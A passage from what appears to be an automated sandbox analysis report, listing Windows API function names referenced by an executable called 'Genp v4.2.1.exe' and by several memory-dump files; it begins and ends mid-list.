"RegEnumKeyExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegDeleteKeyW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegDeleteValueW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegEnumValueW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ShellExecuteW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Shell_NotifyIconW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHFileOperationW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHGetFolderPathW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHGetDesktopFolder"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CLSIDFromString"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ProgIDFromCLSID"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OleSetMenuDescriptor"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IIDFromString"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "StringFromGUID2"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateStreamOnHGlobal"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OleInitialize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OleUninitialize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoInitialize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoUninitialize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoGetObject"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CoInitializeSecurity"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetLastError"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TlsAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TlsGetValue"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TlsSetValue"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TlsFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EncodePointer"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ExitProcess"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ExitThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ResumeThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileType"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VirtualProtect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDateFormatW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTimeFormatW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LCMapStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetStdHandle"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetACP"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetOEMCP"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCPInfo"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SeDebugPrivilege"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "00000000-00006656.00000002.261062.008C1000.00000020.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; File: "00000000-00006656.00000002.261062.008C1000.00000020.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; File: "00000000-00006656.00000002.261062.008C1000.00000020.mdmp") Found reference to API (Indicator: "FindWindowExA"; Source: "00000000-00001656.00000000.254252.01812000.00000004.mdmp") Found reference to API (Indicator: "GetUserNameExA"; Source: "00000000-00001656.00000000.254252.01812000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001656.00000000.254252.01812000.00000004.mdmp, 00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "getpeername"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "CancelIoEx"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "WSAGetOverlappedResult"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "CertGetCertificateChain"; Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000001.260210.74461000.00000020.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 